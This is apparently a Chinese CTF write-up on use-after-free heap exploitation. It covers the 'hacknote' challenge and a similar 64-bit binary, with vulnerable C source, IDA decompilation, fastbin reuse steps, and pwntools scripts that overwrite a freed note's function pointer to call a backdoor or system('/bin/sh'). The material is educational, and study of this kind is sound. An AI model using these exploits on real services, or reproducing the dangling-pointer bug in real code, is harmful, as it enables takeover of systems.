内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果
#include <stdio.h> #include <stdlib.h> #include <unistd.h> struct note { //结构体 void (*printnote)(); char *content; }; struct note *notelist[5]; //结构体变量 int count = 0; void print_note_content(struct note *this) { puts(this->content); } void add_note() { int i; char buf[8]; int size; if (count > 5) { puts("Full"); return; } for (i = 0; i < 5; i++) { if (!notelist[i]) { notelist[i] = (struct note *)malloc(sizeof(struct note)); if (!notelist[i]) { puts("Alloca Error"); exit(-1); } notelist[i]->printnote = print_note_content; printf("Note size :"); read(0, buf, 8); size = atoi(buf); notelist[i]->content = (char *)malloc(size); if (!notelist[i]->content) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i]->content, size); puts("Success !"); count++; break; } } } void del_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } } void print_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { notelist[idx]->printnote(notelist[idx]); } } void magic() { system("cat flag"); } void menu() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); printf("Your choice :"); }; int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); char buf[4]; while (1) { menu(); read(0, buf, 4); switch (atoi(buf)) { case 1: add_note(); break; case 2: del_note(); break; case 3: print_note(); break; case 4: exit(0); break; default: puts("Invalid choice"); break; } } return 0; }
利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk
这里content内容存放的一个指针
free的是两个chunk,没有把两个指针free掉
存在后门函数
1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)
2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可
3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1
从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)
链表的结构
5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) #gdb.attach(r) magic = 0x08048986 addnote(32, "aaaa") # add note 0 addnote(32, "bbbb") # add note 1 delnote(0) # delete note 0 delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()
从里面并没有找到定义的结构体,这也是正常现象
因为ida不能够还原所有代码
这样的话,在做堆题时,对C语言的要求就不是这么高了,通过调试或者经验就能得知chunk的结构
但如果想清晰地理解一个堆题还是需要加深对源码的理解
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[4]; // [esp+0h] [ebp-10h] BYREF unsigned int v5; // [esp+4h] [ebp-Ch] int *v6; // [esp+8h] [ebp-8h] v6 = &argc; v5 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { menu(); //菜单 read(0, buf, 4u); v3 = atoi(buf); if ( v3 == 4 ) exit(0); if ( v3 > 4 ) { LABEL_12: puts("Invalid choice"); } else { switch ( v3 ) { case 3: print_note(); //print chunk break; case 1: add_note(); //malloc chunk break; case 2: del_note(); //free chunk break; default: goto LABEL_12; } } } }
具体的函数都是知道的
unsigned int add_note() { int v0; // esi int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) //申请次数 { if ( !*((_DWORD *)¬elist + i) ) { *((_DWORD *)¬elist + i) = malloc(8u); //malloc chunk if ( !*((_DWORD *)¬elist + i) ) { puts("Alloca Error"); exit(-1); } **((_DWORD **)¬elist + i) = print_note_content; //chunk中content处的内容(free后fd指针的地址) 这里是 printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = *((_DWORD *)¬elist + i); *(_DWORD *)(v0 + 4) = malloc(size); //等同于*(*¬elist + i + 4 )=malloc(size) //在content的第二单位内存的指针中申请chunk(相当于在free后的bk指针的地址处申请chunk) if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) { free(*(*(¬elist + v1) + 4)); //free掉镶嵌的chunk free(*(¬elist + v1)); //free掉chunk //没有free掉指针,所以存在uaf puts("Success"); } return __readgsdword(0x14u) ^ v3; }
unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) (**(¬elist + v1))(*(¬elist + v1)); //print_note_content()函数=puts(*(*(¬elist + v1) + 4))-->这里相当于fd位置为print_note_content函数,bk指针处为参数 //从add里面可以找出来 //**(¬elist + i) = print_note_content; /*int __cdecl print_note_content(int a1){ return puts(*(a1 + 4));}*/ return __readgsdword(0x14u) ^ v3; }
int __cdecl print_note_content(int a1) { return puts(*(a1 + 4)); }
from pwn import * #p=remote("47.99.93.110",10001) p=process('./pwn') elf=ELF('./pwn') context.log_level="debug" def duan(): gdb.attach(p) pause(0) def add(size,content): p.recvuntil("Your choice :") p.sendline("1") p.recvuntil("Note size :") p.sendline(str(size)) p.recvuntil("Content :") p.sendline(content) def delete(index): p.recvuntil("Your choice :") p.sendline("2") p.recvuntil("Index :") p.sendline(str(index)) def show(index): p.recvuntil("Your choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(str(index)) bin_sh=0x602010 system=0x8049684 print(hex(system)) add(0x20,"aaaa")#0 add(0x20,"bbbb")#1 #duan() delete(1) delete(0) duan() add(0x8,p32(system) + p32(system)) #duan() show(1) p.interactive()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // eax char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); sub_400907(a1, a2, a3); while ( 1 ) { while ( 1 ) { sub_4009D2(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 2 ) break; sub_400BAE(); } if ( v3 == 3 ) { sub_400C66(); } else { if ( v3 != 1 ) sub_400D18(); sub_400A78(); } } }
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // eax char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); sub_400907(a1, a2, a3); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 2 ) break; delete(); } if ( v3 == 3 ) { show(); } else { if ( v3 != 1 ) exit_0(); add(); } } }
unsigned __int64 sub_400C66() { int v1; // [rsp+Ch] [rbp-24h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Please input list index: "); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0 && v1 < dword_60204C ) { if ( *(&ptr + v1) ) (*(*(&ptr + v1) + 1))(**(&ptr + v1)); //这里是执行函数,不过参数在函数体的前面 //也就是fd指针处为参数,bk指针处为函数体 } else { puts("Out of bound!"); } return __readfsqword(0x28u) ^ v3; }
from pwn import * io=process('./pwn') elf=ELF('./pwn') context(os='linux',arch='amd64',log_level='debug') def duan(): gdb.attach(io) pause(0) def add(size,content): io.recvuntil('Your choice: ') io.sendline(b'1') io.recvuntil(b'Please input size: \n') io.sendline(str(size)) io.recvuntil('Please input content: \n') #io.sendline(content) io.send(content) def delete(index): io.recvuntil('Your choice: ') io.sendline(b'2') io.recvuntil('Please input list index: \n') io.sendline(str(index)) def show(index): io.recvuntil('Your choice: ') io.sendline(b'3') io.recvuntil('Please input list index: \n') io.sendline(str(index)) system=elf.plt['system'] #system=0x400A48 bin_sh=0x602010 add(0x20,"aaaa")#0 add(0x20,"bbbb")#1 #add(0x20,"cccc") delete(1) delete(0) add(0x10,p64(bin_sh)+p64(system)) #add(0x10,p64(system)+p64(bin_sh)) show(1) io.interactive()